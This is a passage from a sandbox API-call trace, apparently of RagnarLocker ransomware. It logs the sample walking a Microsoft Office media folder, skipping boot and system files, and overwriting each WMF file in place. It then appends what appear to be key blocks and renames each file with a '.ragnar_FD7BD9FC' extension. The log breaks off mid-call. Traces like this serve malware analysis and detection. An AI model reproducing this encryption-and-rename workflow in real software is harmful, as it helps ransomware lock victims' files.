[0095.751] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa24, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.751] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.751] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xa24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.751] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.752] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.752] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.752] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.752] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.752] GetProcessHeap () returned 0x580000 [0095.752] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.752] CloseHandle (hObject=0x104) returned 1 [0095.752] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" [0095.752] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.ragnar_FD7BD9FC" [0095.752] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.753] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1 [0095.753] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.753] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0240695.WMF" | out: lpString1="J0240695.WMF") returned="J0240695.WMF" [0095.753] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF") returned=".WMF" [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="autorun.inf") returned 1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="boot.ini") returned 1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="bootfont.bin") returned 1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="bootsect.bak") returned 1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="bootmgr") returned 1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="bootmgr.efi") returned 1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="bootmgfw.efi") returned 1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="desktop.ini") returned 1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="iconcache.db") returned 1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="ntldr") returned -1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="ntuser.dat") returned -1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="ntuser.dat.log") returned -1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="ntuser.ini") returned -1 [0095.753] lstrcmpiW (lpString1="J0240695.WMF", lpString2="thumbs.db") returned -1 [0095.753] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.753] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.753] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.753] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.753] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.753] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.753] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf")) returned 0x20 [0095.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.755] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5078) returned 1 [0095.755] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x13cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.755] GetProcessHeap () returned 0x580000 [0095.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.755] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.756] VirtualAlloc (lpAddress=0x0, dwSize=0x13d6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.756] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.756] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.756] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13d6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13d6, lpOverlapped=0x0) returned 1 [0095.757] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.757] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.757] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13d6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13d6, lpOverlapped=0x0) returned 1 [0095.757] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.758] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.758] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x13d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.758] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.758] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.758] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.758] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.758] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.758] GetProcessHeap () returned 0x580000 [0095.758] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.758] CloseHandle (hObject=0x104) returned 1 [0095.758] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" [0095.758] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.ragnar_FD7BD9FC" [0095.758] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.759] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240719.WMF", cAlternateFileName="")) returned 1 [0095.759] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.759] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0240719.WMF" | out: lpString1="J0240719.WMF") returned="J0240719.WMF" [0095.759] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF") returned=".WMF" [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="autorun.inf") returned 1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="boot.ini") returned 1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="bootfont.bin") returned 1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="bootsect.bak") returned 1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="bootmgr") returned 1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="bootmgr.efi") returned 1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="bootmgfw.efi") returned 1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="desktop.ini") returned 1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="iconcache.db") returned 1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="ntldr") returned -1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="ntuser.dat") returned -1 [0095.759] lstrcmpiW (lpString1="J0240719.WMF", lpString2="ntuser.dat.log") returned -1 [0095.760] lstrcmpiW (lpString1="J0240719.WMF", lpString2="ntuser.ini") returned -1 [0095.760] lstrcmpiW (lpString1="J0240719.WMF", lpString2="thumbs.db") returned -1 [0095.760] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.760] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.760] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.760] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.760] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.760] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.760] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf")) returned 0x20 [0095.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.760] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6818) returned 1 [0095.760] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1a99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.760] GetProcessHeap () returned 0x580000 [0095.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.760] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.762] VirtualAlloc (lpAddress=0x0, dwSize=0x1aa2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.762] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.762] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.762] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1aa2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1aa2, lpOverlapped=0x0) returned 1 [0095.763] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.763] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1aa2, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.763] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1aa2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1aa2, lpOverlapped=0x0) returned 1 [0095.763] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1aa2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.763] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.763] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1aa2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.764] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.764] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.764] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.764] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.764] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.764] GetProcessHeap () returned 0x580000 [0095.764] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.764] CloseHandle (hObject=0x104) returned 1 [0095.764] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" [0095.764] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.ragnar_FD7BD9FC" [0095.764] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.765] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251301.WMF", cAlternateFileName="")) returned 1 [0095.765] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.765] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0251301.WMF" | out: lpString1="J0251301.WMF") returned="J0251301.WMF" [0095.765] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF") returned=".WMF" [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="autorun.inf") returned 1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="boot.ini") returned 1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="bootfont.bin") returned 1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="bootsect.bak") returned 1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="bootmgr") returned 1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="bootmgr.efi") returned 1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="bootmgfw.efi") returned 1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="desktop.ini") returned 1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="iconcache.db") returned 1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="ntldr") returned -1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="ntuser.dat") returned -1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="ntuser.dat.log") returned -1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="ntuser.ini") returned -1 [0095.765] lstrcmpiW (lpString1="J0251301.WMF", lpString2="thumbs.db") returned -1 [0095.765] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.765] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.765] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.765] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.765] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.766] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.766] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf")) returned 0x20 [0095.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.766] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5272) returned 1 [0095.766] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x148f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.766] GetProcessHeap () returned 0x580000 [0095.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.766] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.768] VirtualAlloc (lpAddress=0x0, dwSize=0x1498, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.768] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.768] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.768] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1498, lpOverlapped=0x0) returned 1 [0095.768] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.768] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1498, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.769] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1498, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1498, lpOverlapped=0x0) returned 1 [0095.769] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1498, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.769] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.769] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1498, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.769] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.769] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.769] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, 